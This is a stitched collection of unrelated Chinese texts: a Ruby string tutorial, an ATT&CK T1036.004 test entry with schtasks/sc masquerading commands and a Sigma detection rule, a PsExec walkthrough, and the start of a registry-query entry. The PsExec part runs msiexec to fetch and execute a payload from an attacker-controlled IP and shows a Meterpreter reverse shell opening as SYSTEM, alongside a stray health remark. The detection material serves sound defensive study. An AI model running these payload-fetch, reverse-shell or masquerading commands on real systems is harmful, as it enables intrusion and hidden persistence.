`<<` 后面的结束标识符可以用 `" "` 括着的字符串或者用 `' '` 括着的字符串来定义。用 `" "` 括住的字符串中可以使用转义字符和内嵌表达式,而用 `' '` 括住的字符串则不会做任何特殊处理,只会原封不动地显示。另外,使用既没有 `" "` 也没有 `' '` 的字符串时,则会被认为是用 `" "` 创建的字符串。
由于 Here Document 整体就是字符串的字面量,因此可以被赋值给变量,也可以作为方法的参数。
我们一般将 `EOF` 或者 `EOB` 作为结束标识符使用。`EOF` 是“End of File”的简写,`EOB` 是“End of Block”的简写。
Here Document 的结束标识符一定要在行首。因此,在程序缩进比较深的地方使用 Here Document 的话,有时就会像下面的例子那样,出现整个缩进乱掉的情况。
```ruby
10.times do |i|
10.times do |j|
print(<<"EOB")
i: #{i}
j: #{j}
i*j = #{i*j}
EOB
end
end
```
若希望缩进整齐,可以像下面那样用 `<<-` 代替 `<<`。这样程序就会忽略结束标识符前的空格和制表符,结束标识符也就没有必要一定要写在行首了。
```ruby
10.times do |i|
10.times do |j|
print(<<-"EOB")
i: #{i}
j: #{j}
i*j = #{i*j}
EOB
end
end
```
这样操作以后,`print` 和 `EOB` 的缩进就会变得整齐,便于阅读。下面是将 Here Document 赋值给变量时的做法。
```ruby
str = <<-EOB
Hello!
Hello!
Hello!
EOB
```
**使用 sprintf 方法**
就像用 8 进制或 16 进制的字符串来表示数值那样,我们也可以用 `sprintf` 方法输出某种格式的字符串。
**使用 ``**
通过用
```ruby
`命令`
```
这样的形式,我们可以得到命令的标准输出并将其转换为字符串对象。下面是获取 Linux 的 `ls` 命令与 `cat` 命令的输出内容的例子:
```ruby
> irb --simple-prompt
>> `ls -l /etc/hosts`
=> "-rw-r--r-- 1 root root 158 Jan 12 2010 /etc/hosts\n"
>> puts `cat /etc/hosts`
# Host Database
#
127.0.0.1 localhost
255.255.255.255 broadcasthost
::1 localhost
fe80::1%lo0 localhost
=> nil
```
**printf 方法与 sprintf 方法**
虽然 `printf` 方法与 `sprintf` 方法都不是 `String` 类的方法,但在处理字符串时会经常用到它们。下面我们就来看看它们的用法。
- 关于 `printf` 方法
`printf` 方法可以按照某种格式输出字符串。例如在输出数值时,有时我们会需要在数值前补零,或者限定小数点显示的位数等,在这些情况下,用 `printf` 方法都能非常轻松地实现。
```
1: n = 123
2: printf("%d\n", n)
3: printf("%4d\n", n)
4: printf("%04d\n", n)
5: printf("%+d\n", n)
```
执行结果如下。
```
123
123
0123
+123
```
`printf` 方法的第 1 个参数表示字符串的输出格式。而从第 2 个参数开始,往后的参数都会被依次嵌入到格式中 `%` 所对应的位置。
在本例中,第 2 行的 `printf` 方法被指定为了 `%d`,这表示输出的字符是整数。
`%` 与 `d` 之间还能插入字符。第 3 行的 `printf` 方法里插入了 4,这表示按照 4 位整数的格式输出。我们发现,执行结果中出现了 123 这种开头有 1 个空格的情况,这是因为要把 3 位整数以 4 位的格式输出,因此就多输出了 1 个空格。
在第 4 行中,`%` 与 `d` 中间插入了 `04`,这表示若输出的整数位数不足,整数的开头就会做补零处理。
第 5 行中指定了 `+`,这表示输出的结果一定会包含 `+` 或者 `-`。
上面是关于数值格式的指定方法,同样,我们也可以指定字符串格式。
```ruby
1: n = "Ruby"
2: printf("Hello,%s!\n", n)
3: printf("Hello,%8s!\n", n)
4: printf("Hello,%-8s!\n", n)
```
执行结果如下:
```
Hello,Ruby!
Hello, Ruby!
Hello,Ruby !
```
本例的第 2 行程序中指定了 `%s`,这表示将参数解析为字符串。参数 `n` 的值为 Ruby,因此输出的字符串为 `Hello,Ruby!`。
在第 3 行中,`%` 与 `s` 之间插入了数字 `8`,这表示将 `Ruby` 输出为 8 位字符串。
在第 4 行中,插入的内容为 `-8`,这表示按靠左对齐的方式输出 8 位字符串。
- 关于 `sprintf` 方法
`printf` 方法会把内容输出到控制台,而 `sprintf` 方法则是把同样的输出内容转换为字符串对象。开头的 `s` 指的就是 `String`。
```ruby
p sprintf("%d", 123) #=> "123"
p sprintf("%04d", 123) #=> "0123"
p sprintf("%+d", 123) #=> "+123"
p sprintf("Hello,%s!\n", n) #=> "Hello,Ruby!"
p sprintf("Hello,%8s!\n", n) #=> "Hello, Ruby!"
p sprintf("Hello,%-8s!\n", n) #=> "Hello,Ruby !"
```
# 获取字符串的长度
我们用 `length` 方法和 `size` 方法获取字符串的长度。两者都返回相同的结果,大家根据自己的习惯选用即可。
```ruby
p "just another ruby hacker,".length #=> 25
p "just another ruby hacker,".size #=> 25
```
若是中文字符串,则返回字符数。
```ruby
p ' 面向对象编程语言'.length #=> 8
```
如果想获取的不是字符数,而是字节数,可以用 `bytesize` 方法。
```ruby
p ' 面向对象编程语言'.bytesize #=> 24
```
想知道字符串的长度是否为 0 时,可以使用 `empty?` 方法,该方法常被用于在循环等处理中判断字符串是否为空。
```ruby
p "".empty? #=> true
p "foo".empty? #=> false
```
# 字符串的索引
获取字符串中指定位置的字符,例如获取“开头第 3 位的字符”时,与数组一样,我们也需要用到索引。
```ruby
str = "全新的String 类对象"
p str[0] #=> "全"
p str[3] #=> "S"
p str[9] #=> "类"
p str[2, 8] #=> "的String 类"
p str[4] #=> "t"
```
# 字符串的连接
连接字符串有以下两种方法
- 将两个字符串合并为新的字符串
- 扩展原有的字符串
用 `+` 创建新的字符串。
```ruby
hello = "Hello, "
world = "World!"
str = hello + world
p str #=> "Hello, World!"
```
为原有字符串连接其他字符串时,可以使用 `<<` 或者 `concat` 方法。
```ruby
hello = "Hello, "
world = "World!"
hello << world
p hello #=> "Hello, World!"
hello.concat(world)
p hello #=> "Hello, World!World!"
```
使用 `+` 也能连接原有字符串。
```ruby
hello = hello + world
```
用 `+` 连接原有字符串的结果会被再次赋值给变量 `hello`,这与使用 `<<` 的结果是一样的。但用 `+` 连接后的字符串对象是新创建的,并没有改变原有对象,因此即使有其他变量与 `hello` 同时指向原来的对象,那些变量的值也不会改变。而另一方面,由于使用 `<<` 与 `concat` 方法时会改变原有的对象,因此就会对指向同一对象的其他变量产生影响。虽然一般情况下使用 `<<` 与 `concat` 方法会比较有效率,但是我们也应该根据实际情况来选择适当的字符串连接方法。
# 字符串的比较
我们可以使用 `==` 或者 != 来判断字符串是否相同。例如在表达式 `str1 == str2` 中,`str1` 与 `str2` 为相同字符串时则返回 `true`,为不同字符串时则返回 `false`。`!=` 与 `==` 表示正相反的意思。
```ruby
p "aaa" == "baa" #=> false
p "aaa" == "aa" #=> false
p "aaa" == "aaa" #=> true
p "aaa" != "baa" #=> true
p "aaa" != "aaa" #=> false
```
虽然判断字符串是否相同时使用 `==` 或者 `!=` 会很方便,但判断是否为相似的字符串时,使用正则表达式则会简单得多。
**字符串的大小比较**
字符串也有大小关系,但字符串的大小关系并不是由字符串的长度决定的。
```ruby
p ("aaaaa" < "b") #=> true
```
字符串的大小由字符编码的顺序决定。英文字母按照“ABC”的顺序排列,日语的平假名与片假名按照“あいうえお”的顺序排列,在排列英语或日语的字符串时,就可以使用该顺序。不过,Ruby 中日语的排序规则与字典中的顺序是不同的。例如对“かけ”、“かこ”、“がけ”这 3 个单词排序时,字典中的顺序是“かけ”、“がけ”、“かこ”,而在 Ruby 中,从小到大依次是“かけ”、“かこ”、“がけ”。
中文字符也同样是由字符编码的顺序决定的。例如,在 UTF-8 字符编码表中,“一”的编码为 U+4E00,“丁”的编码为 U+4E01,两个字符的比较结果如下。
```ruby
p (" 一" < " 丁") #=> true
```
**字符编码**
计算机中的字符都是用数值来管理的,这样的数值也称为编码。
字符与数值的对应关系如下表所示。
字符 | 数值
- | -
A | 65
B | 66
C | 67
我们把上表那样字符与数值一一对应的关系称为字符编码。但字符编码并不是一个正确的专业术语,因此我们需要小心使用。
ASCII 编码是计算机的基础。ASCII 编码是指把英文字母、数值、其他符号、以及换行、制表符这样的特殊字符集合起来,为它们分配 1 到 127 之间的数值,并使之占用 1 个字节空间(1 个字节可以表示 0 到 255)。另外,在欧美,一种名为 ISO-8859-1 的编码曾经被广泛使用,该编码包含了欧洲常用的基本字符(拼写符号、原音变音等),并为它们分配 128 到 255之间的数值。也就是说,大部分的字符都是占用 1 个字节的空间。
使用日语时不可能不使用平假名、片假名或者汉字,但只用一个字节来表示这些字符是不可能的。因此,为了表示这些字符,用两个字节表示一个字符的技术就诞生了。
不过,非常可惜的是日语的字符编码并不只有 1 种,而是大概可以分为以下 4 种编码方式,并且相同编码方式得到的字符也不一定相等。
编码方式 | 主要使用的地方
- | -
Shift_JIS | Windows 文本
UTF-8 | Unix 文本、HTML 等
EUC-JP | Unix 文本
ISO-2022-JP | 电子邮件等
为字符分配与之对应的数值,这样的分配方式就称为字符编码方式(character encoding scheme)。在日本,常用的编码方式有 Shift_JIS、EUC-JP、ISO-2022-JP 这 3 种。它们是日语标准字符编码 JIS X0208 的基础。字符编码的名称一般都直接使用编码方式的名称。例如我们会说“这个文本的字符编码是 EUC,在 Windows 中打开的时候要小心”。
编码方式不同的情况下,即使是相同的字符,对其分配的数值也会不一样。编码方式的不同,就是导致俗称为“乱码”的问题的原因之一
字符 | Shift_JIS | EUC-JP | ISO-2022-JP | UTF-8
- | - | - | - | -
あ | 82A0 | A4A2 | 2422 | E38182
在上表中,あ字符被分配的数值是用 16 进制表示的。据此可以看出,不同的编码方式所对应的数值是不一样的。像这样表示字符的值,我们称之为码位(code point)。在 Ruby 中可以用 `String.ord` 方法获取字符的码位。
```ruby
#encoding: EUC-JP
p "あ".ord #=> 42146(16 进制为A4A2)
```
# 字符串的分割
用特定字符分割字符串时可以使用 `split` 方法。例如,用冒号`(:)`分割字符串的程序就可以像下面那样写:
```ruby
column = str.split(/:/)
```
这样一来,分割后的各项字符串就会以数组的形式赋值给 `column`。
```ruby
str = "高桥:gaoqiao:1234567:000-123-4567"
column = str.split(/:/)
p column
#=> ["高桥", "gaoqiao", "1234567", "000-123-4567"]
```
# 换行符的使用方法
用 `each_line` 等方法从标准输入读取字符串时,末尾肯定有换行符。然而,在实际处理字符串时,换行符有时候会很碍事。这种情况下,我们就需要删除多余的换行符
效果 | 删除最后一个字符 | 删除换行符
- | - | -
非破坏性的 | chop | chomp
破坏性的 | chop! | chomp!
`chop` 方法与 `chop!` 方法会删除字符串行末的任何字符,`chomp` 方法与 `chomp!` 方法则只在行末为换行符时才将其删除。
```ruby
str = "abcde" # 没有换行符的情况
newstr = str.chop
p newstr #=> "abcd"
newstr = str.chomp
p newstr #=> "abcde"
str2 = "abcd\n" # 有换行符的情况
newstr = str2.chop
p newstr #=> "abcd"
newstr = str2.chomp
p newstr #=> "abcd"
```
用 `each_line` 方法循环读取新的行时,一般会使用具有破坏性的 `chomp!` 方法直接删除换行符。
```
f.each_line do |line|
line.chomp!
处理line
end
```
上面是 `chomp!` 的典型用法。另外,不同的运行环境下,换行符也不同.
# 字符串的检索与置换
字符串处理一般都离不开检索与置换。Ruby 可以很轻松地处理字符串。
**字符串的检索**
我们可以用 `index` 方法或者 `rindex` 方法,来检查指定的字符串是否存在在某字符串中。
`index` 方法会从左到右检查字符串中是否存在参数指定的字符串,而 `rindex` 方法则是按照从右到左的顺序来检查(rindex 的“r”表示的就是 right(右)的意思)。
```ruby
str = "ABBBBBB"
p str.index("BB") #=> 1
p str.rindex("BB") #=> 5
```
找到字符串时,`index` 方法和 `rindex` 方法会返回字符串首个字符的索引值,没找到时则返回 `nil`。
另外,如果只是想知道字符串中是否有参数指定的字符串,用 `include?` 方法会更好。
```ruby
str = "ABBBBBB"
p str.include?("BB") #=> true
```
除了直接检索字符串外,Ruby 还可以使用正则表达式来检索。
# 关于换行符
所谓换行符就是指进行换行的符号。计算机里使用的字符都被分配了 1 个与之对应的数值,同理,换行符也有 1 个与之对应的数值。不过麻烦的是,不同的 OS 对换行符的处理也不同。
下面是常用的 OS 的换行符。这里,LF(LineFeed)的字符为 `\n`,CR(Carriage Return)的字符为 `\r`。
OS 种类 | 换行符
- | -
Unix 系列 | LF
Windows 系列 | CR + LF
Mac OS 9 以前 | CR
Ruby 中的标准换行符为 LF,一般在 `IO#each_line` 等方法中使用。也就是说,Ruby 在处理 Max OS 9 以前版本的文本时,可能会出现不能正确换行的情况。
我们可以通过参数指定 `each_line` 方法所使用的换行符,默认为 `each_line("\n")`。
**字符串的置换**
有时我们可能会需要用其他字符串来替换目标字符串中的某一部分。我们把这样的替换过程称为置换。用 `sub` 方法与 `gsub` 方法即可实现字符串的置换。
# 字符串与数组的共同方法
字符串中有很多与数组共同的方法。
当然,继承了 `Object` 类的实例的方法,在字符串(`String` 类的实例)以及数组(`Array` 类的实例)中也都能使用。除此以外,下面的方法也都能使用。
- 与索引操作相关的方法
- 与 `Enumerable` 模块相关的方法
- 与连接、反转(`reverse`)相关的方法
**与索引操作相关的方法**
字符串也能像数组那样操作索引。数组适用的索引操作方法,也同样适用于字符串。
- `s[n] = str`
- `s[n..m] = str`
- `s[n, len] = str`
用 str 置换字符串 s 的一部分。这里 n、m、len 都是以字符为单位的。
```ruby
str = "abcde"
str[2, 1] = "C"
p str #=> "abCde"
```
- `s.slice!(n)`
- `s.slice!(n..m)`
- `s.slice!(n, len)`
删除字符串 s 的一部分,并返回删除的部分。
```ruby
str = "Hello, Ruby."
p str.slice!(-1) #=> "."
p str.slice!(5..6) #=> ", "
p str.slice!(0, 5) #=> "Hello"
p str #=> "Ruby"
```
**返回 Enumerator 对象的方法**
在处理字符串的方法中,有以行为单位进行循环处理的 `each_line` 方法、以字节为单位进行循环处理的 `each_byte` 方法、以及以字符为单位进行循环处理的 `each_char` 方法。调用这些方法时若不带块,则会直接返回 `Enumerator` 对象,因此,通过使用这些方法,我们就可以像下面的例子那样使用 `Enumerable` 模块的方法了。
```ruby
# 用 collect 方法处理用 each_line 方法获取的行
str = "壹\n 贰\n 叁\n"
tmp = str.each_line.collect do |line|
line.chomp 3
end
p tmp #=> ["壹壹壹", "贰贰贰", "叁叁叁"]
# 用 collect 方法处理用 each_byte 方法获取的数值
str = "abcde"
tmp = str.each_byte.collect do |byte|
-byte
end
p tmp #=> [-97, -98, -99, -100, -101]
```
**Enumerator 类**
虽然 `Enumerable` 模块定义了很多方便的方法,但是作为模块中其他方法的基础,将遍历元素的方法限定为 `each` 方法,这一点有些不太灵活。
`String` 对象有` each_byte`、`each_line`、`each_char` 等用于循环的方法,如果这些方法都能使用 `each_with_index`、`collect` 等 `Enumerable` 模块的方法的话,那就方便多了。而 `Enumerator` 类就是为了解决这个问题而诞生的。
`Enumerator` 类能以 `each` 方法以外的方法为基础,执行 `Enumerable` 模块定义的方法。使用 `Enumerator` 类后,我们就可以用 `String.each_line` 方法替代 `each` 方法,从而来执行 `Enumerable` 模块的方法了。
另外,不带块的情况下,大部分 Ruby 原生的迭代器在调用时都会返回 `Enumerator` 对象。因此,我们就可以对 `each_line`、`each_byte` 等方法的返回结果继续使用 `map` 等方法。
```ruby
str = "AA\nBB\nCC\n"
p str.each_line.class #=> Enumerator
p str.each_line.map{|line| line.chop }
#=> ["AA", "BB", "CC"]
p str.each_byte.reject{|c| c == 0x0a }
#=> [65, 65, 66, 66, 67, 67]
```
**与连接、反转(reverse)相关的方法**
除了与 `Enumerable` 模块、索引等相关的方法外,字符串中还有一些与数组共同的方法。
- `s.concat(s2)`
- `s+s2`
与数组一样,字符串也能使用 `concat` 方法和 `+` 连接字符串。
```ruby
s = "欢迎"
s.concat("光临")
p s #=> "欢迎光临"
```
- `s.delete(str)`
- `s.delete!(str)`
从字符串 s 中删除字符串 str。
```ruby
s = "防/ 止/ 检/ 索"
p s.delete("/") #=> "防止检索"
```
- `s.reverse`
- `s.reverse!`
反转字符串 s。
```ruby
s = "晚上好"
p s.reverse #=> "好上晚"
```
# 其他方法
- `s.strip`
- `s.strip!`
这是删除字符串 s 开头和末尾的空白字符的方法。在不需要字符串开头和末尾的空白时,用这个方法非常方便。
```ruby
p " Thank you. ".strip #=> "Thank you."
```
- `s.upcase`
- `s.upcase!`
- `s.downcase`
- `s.downcase!`
- `s.swapcase`
- `s.swapcase!`
- `s.capitalize`
- `s.capitalize!`
所谓 case 在这里就是指英文字母的大、小写字母的意思。`~case` 方法就是转换字母大小写的方法。
`upcase` 方法会将小写字母转换为大写,大写字母保持不变。
```ruby
p "Object-Oriented Language".upcase
#=> "OBJECT-ORIENTED LANGUAGE"
```
`downcase` 方法则刚好相反,将大写字母转换小写。
```ruby
p "Object-Oriented Language".downcase
#=> "object-oriented language"
```
`swapcase` 方法会将大写字母转换为小写,将小写字母转换为大写。
```ruby
p "Object-Oriented Language".swapcase
#=> "oBJECT-oRIENTED lANGUAGE"
```
`capitalize` 方法会将首字母转换为大写,将其余的字母转换为小写。
```ruby
p "Object-Oriented Language".capitalize
#=> "Object-oriented language"
```
- `s.tr`
- `s.tr!`
源自于 Unix 的 tr 命令的方法,用于置换字符。
该方法与 `gsub` 方法有点相似,不同点在于 `tr` 方法可以像 `s.tr("a-z", "A-Z")` 这样一次置换多个字符。
```ruby
p "ABCDE".tr("B", "b") #=> "AbCDE"
p "ABCDE".tr("BD", "bd") #=> "AbCdE"
p "ABCDE".tr("A-E", "a-e") #=> "abcde"
```
相反,`tr` 方法不能使用正则表达式,也不能指定两个字符以上的字符串。
# 日语字符编码的转换
字符编码转换有两种方法,分别是使用 `encode` 方法和使用 `nkf` 库的方法。
**encode 方法**
`encode` 方法是 Ruby 中基本的字符编码转换的方法。将字符编码由 EUC-JP 转换为 UTF-8,程序可以像下面这样写:
```ruby
# encoding: EUC-JP
euc_str = "日语EUC 编码的字符串"
utf8_str = euc_str.encode("utf-8")
```
另外,Ruby 中还定义了具有破坏性的 `encode!` 方法。
```ruby
# encodng: EUC-JP
str = "日语EUC 编码的字符串"
str.encode!("utf-8") # 将str 转换为UTF-8
```
`encode` 方法支持的字符编码,可通过 `Encoding.name_list` 方法获得。
**nkf 库**
使用 `encode` 方法可以进行字符编码的转换,但却不能进行半角假名与全角假名之间的转换。全半角假名的转换我们需要使用 `nkf` 库。
`nkf` 库由 `NKF` 模块提供。`NKF` 模块是 Unix 的 nkf(Network Kanji code conversion Filter)过滤命令在 Ruby 中的实现。
NKF 模块用类似于命令行选项的字符串指定字符编码等。
```ruby
NKF.nkf( 选项字符串, 转换的字符串)
```
nkf 的主要参数
选项 | 意义
- | -
-d | 从换行符中删除 CR
-c | 往换行符中添加 CR
-x | 不把半角假名转换为全角假名
-m0 | 抑制 MIME 处理
-h1 | 把片假名转换为平假名
-h2 | 把平假名转换为片假名
-h3 | 互换平假名与片假名
-Z0 | 把 JIS X 0208 的数字转换为 ASCII
-Z1 | 加上 -Z0,把全角空格转换为半角空格
-Z2 | 加上 -Z0,把全角空格转换为两个半角空格
-e | 输出的字符编码为 EUC-JP
-s | 输出的字符编码为 Shift-JIS
-j | 输出的字符编码为 ISO-2022-JP
-w | 输出的字符编码为 UTF-8(无 BOM)
-w8 | 输出的字符编码为 UTF-8(有 BOM)
-w80 | 输出的字符编码为 UTF-8(无 BOM)
-w16 | 输出的字符编码为 UTF-16(Big Endian/ 无 BOM)
-w16B | 输出的字符编码为 UTF-16(Big Endian/ 有 BOM)
-w16B0 | 输出的字符编码为 UTF-16(Big Endian/ 无 BOM)
-w16L | 输出的字符编码为 UTF-16(Little Endian/ 有 BOM)
-w16L0 | 输出的字符编码为 UTF-16(Little Endian/ 无 BOM)
-E | 输入字符编码为 EUC-JP-S 输入字符编码为 Shift-JIS-J 输入字符编码为 ISO-2022-JP
-W | 输入的字符编码为 UTF-8(无 BOM)
-W8 | 输入的字符编码为 UTF-8(有 BOM)
-W80 | 输入的字符编码为 UTF-8(无 BOM)
-W16 | 输入的字符编码为 UTF-16(Big Endian/ 无 BOM)
-W16B | 输入的字符编码为 UTF-16(Big Endian/ 有 BOM)
-W16B0 | 输入的字符编码为 UTF-16(Big Endian/ 无 BOM)
-W16L | 输入的字符编码为 UTF-16(Little Endian/ 有 BOM)
-W16L0 | 输入的字符编码为 UTF-16(Little Endian/ 无 BOM)
为了避免半角假名转换为全角假名,或者因电子邮件的特殊字符处理而产生问题,如果只是单纯对字符进行编码转换的话,一般使用选项 `-x` 和 `-m0`(可以合并书写 `-xm0`)就足够了。
下面是把 EUC-JP 字符串转换为 UTF-8 的例子:
```ruby
# encoding: EUC-JP
require "nkf"
euc_str = "日语EUC 编码的字符串"
utf8_str = NKF.nkf("-E -w -xm0", euc_str)
```
不指定输入字符编码时,`nkf` 库会自动判断其编码,基本上都可以按如下方式书写:
```ruby
# encoding: EUC-JP
require "nkf"
euc_str = "日语EUC 编码的字符串"
utf8_str = NKF.nkf("-w -xm0", euc_str)
```
NKF 模块在 Ruby 字符串还未支持 encoding 功能以前就已经开始被使用了。大家可能会感觉选项的指定方法等与现在 Ruby 的风格有点格格不入,这是因为 nkf 库把其他命令的功能硬搬了过来的缘故。如果不涉及一些太特殊的处理,一般使用 `encode` 就足够了。
|
sec-knowleage
|
# T1036-004-win-伪装服务或任务
## 来自ATT&CK的描述
攻击者可能会尝试修改任务或服务的名称,使其看起来合法或良性。由任务调度程序或 systemd 执行的任务或服务通常会被赋予名称或描述。Windows 服务展示服务名称。存在许多具有共同关联名称的良性任务和服务。攻击者可能会给出与合法任务或服务相似或相同的名称。
任务或服务包含攻击者可能试图使其看起来合法的其他字段,例如描述。
## 测试案例
### 使用schtasks创建类似W32Time名称的服务
攻击命令,用命令提示符运行,需要提升等级(如root或admin)。
```
schtasks /create /ru system /sc daily /tr "cmd /c powershell.exe -ep bypass -file c:\T1036.004_NonExistingScript.ps1" /tn win32times /f
schtasks /query /tn win32times
```
清理命令:
```
schtasks /tn win32times /delete /f
```
### 使用sc创建W32时间相似命名服务
攻击命令,用命令提示符运行,需要提升等级(如root或admin)。
```
sc create win32times binPath= "cmd /c start c:\T1036.004_NonExistingScript.ps1"
sc qc win32times
```
清理命令:
```
sc delete win32times
```
## 检测日志
Windows安全日志/Sysmon日志
## 测试复现
### 使用schtasks创建类似W32Time名称的服务
```
C:\Windows\system32>schtasks /create /ru system /sc daily /tr "cmd /c powershell.exe -ep bypass -file C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1036.004\test.ps1" /tn win32times /f
成功: 成功创建计划任务 "win32times"。
C:\Windows\system32>schtasks /query /tn win32times
文件夹: \
任务名 下次运行时间 模式
======================================== ====================== ===============
win32times 2022/1/11 16:39:00 就绪
C:\Windows\system32>schtasks /tn win32times /delete /f
成功: 计划的任务 "win32times" 被成功删除。
```
### 使用sc创建W32时间相似命名服务
```
C:\Windows\system32>sc create win32times binPath= "cmd /c start C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1036.004\test.ps1"
[SC] CreateService 成功
C:\Windows\system32>sc qc win32times
[SC] QueryServiceConfig 成功
SERVICE_NAME: win32times
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : cmd /c start C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1036.004\test.ps1
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : win32times
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Windows\system32>sc delete win32times
[SC] DeleteService 成功
```
## 日志留痕
### 使用schtasks创建类似W32Time名称的服务
```
日志名称: Microsoft-Windows-Sysmon/Operational
来源: Microsoft-Windows-Sysmon
日期: 2022/1/10 16:39:19
事件 ID: 1
任务类别: Process Create (rule: ProcessCreate)
级别: 信息
关键字:
用户: SYSTEM
计算机: zhuli.qax.com
描述:
Process Create:
RuleName: technique_id=T1059,technique_name=Command-Line Interface
UtcTime: 2022-01-10 08:39:19.782
ProcessGuid: {78c84c47-f0b7-61db-6e0f-000000000800}
ProcessId: 4712
Image: C:\Windows\System32\schtasks.exe
FileVersion: 10.0.17763.1 (WinBuild.160101.0800)
Description: Task Scheduler Configuration Tool
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: schtasks.exe
CommandLine: schtasks /create /ru system /sc daily /tr "cmd /c powershell.exe -ep bypass -file C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1036.004\test.ps1" /tn win32times /f
CurrentDirectory: C:\Windows\system32\
User: QAX\Administrator
LogonGuid: {78c84c47-efde-61db-1754-2f0100000000}
LogonId: 0x12F5417
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=112C8FFA1C0934ACAAD2C58B3C7E81F3FB8E4A2C,MD5=3F9FD6D3B3E96B8F576DB72035DB38A7,SHA256=D6BA2CD73799477C051D9D864C47FCF5108064CDE07D3565871AFA10FC548086,IMPHASH=7EE4BC5589713B3470B8A950256E2E69
ParentProcessGuid: {78c84c47-efea-61db-450f-000000000800}
ParentProcessId: 4768
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"
ParentUser: QAX\Administrator
```
### 使用sc创建W32时间相似命名服务
```
Process Create:
RuleName: technique_id=T1059,technique_name=Command-Line Interface
UtcTime: 2022-01-10 08:43:44.670
ProcessGuid: {78c84c47-f1c0-61db-910f-000000000800}
ProcessId: 7112
Image: C:\Windows\System32\sc.exe
FileVersion: 10.0.17763.1 (WinBuild.160101.0800)
Description: Service Control Manager Configuration Tool
Product: Microsoft® Operating System
Company: Microsoft Corporation
OriginalFileName: sc.exe
CommandLine: sc create win32times binPath= "cmd /c start C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1036.004\test.ps1"
CurrentDirectory: C:\Windows\system32\
User: QAX\Administrator
LogonGuid: {78c84c47-efde-61db-1754-2f0100000000}
LogonId: 0x12F5417
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=622FA2729408E5F467A592223219DA7C547E7CC7,MD5=ABB56882148DE65D53ABFC55544A49A8,SHA256=78097C7CD0E57902536C60B7FA17528C313DB20869E5F944223A0BA4C801D39B,IMPHASH=35A7FFDE18D444A92D32C8B2879450FF
ParentProcessGuid: {78c84c47-efea-61db-450f-000000000800}
ParentProcessId: 4768
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"
ParentUser: QAX\Administrator
```
## 检测规则/思路
### sigma规则
```yml
title: 利用sc/schtasks伪造计划任务
status: experimental
author: 12306Br0
date: 2022/01/10
references:
- attack.t1036-004
logsource:
product: windows
service: sysmon
detection:
selection1:
EventID: 1 #sysmon日志,进程创建
Image: '*schtasks.exe' #进程名称
CommandLine:
- '/create' #进程命令行
- '/tr'
- '/tn'
selection2:
EventID: 1 #sysmon日志,进程创建
Image: '*sc.exe' #进程名称
CommandLine:
- 'create' #进程命令行
- 'binPath='
condition: selection1 or selection2
level: low
```
### 建议
寻找与已知软件、补丁周期等不相关的任务和服务的变化。通过计划任务或服务执行的可疑程序可能会显示为离群的进程,在与历史数据进行比较时,这些进程以前没有被看到过。监控进程和命令行参数,看是否有可能采取创建任务或服务的行动。不应孤立地看待数据和事件,而应将其视为可能导致其他活动的行为链的一部分,例如为指挥和控制而进行的网络连接,通过发现和横向移动来了解环境的细节。
## 参考推荐
MITRE-ATT&CK-T1036-004
<https://attack.mitre.org/techniques/T1036/004>
Schtasks命令详解
<https://www.cnblogs.com/daimaxuejia/p/12957644.html>
Atomic-red-team-T1036
<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1036.004/T1036.004.md>
|
sec-knowleage
|
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。
痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。
### PsExec简介:
微软于2006年7月收购sysinternals公司,PsExec是SysinternalsSuite的小工具之一,是一种轻量级的telnet替代品,允许在其他系统上执行进程,完成控制台应用程序的完全交互,而无需手动安装客户端软件,并且可以获得与控制台应用程序相当的完全交互性。
微软官方文档:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
说明:PsExec.exe没有默认安装在windows系统。
**攻击机:** 192.168.1.4 Debian
**靶机:** 192.168.1.119 Windows 2003
### 配置攻击机msf:
```bash
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
```

### 靶机执行:

```bash
PsExec.exe -d -s msiexec.exe /q /i <http://192.168.1.4/Micropoor_rev_x86_msi_53.txt>
```

```bash
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.119
[*] Meterpreter session 11 opened (192.168.1.4:53 ‐> 192.168.1.119:131) at 2019‐01‐20 05:43:32 ‐0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 728
meterpreter >
```

> Micropoor
|
sec-knowleage
|
# T1012-win-查询注册表
## 来自ATT&CK的描述
攻击者可以与Windows注册表交互,以收集有关系统、配置和已安装软件的信息。
注册表包含大量有关操作系统、配置、软件和安全性的信息。一些信息可能有助于攻击者在网络中进一步开展行动。攻击者可以在自动发现期间使用查询注册表中的信息来定制后续行为,包括攻击者是否完全感染目标或尝试特定操作。
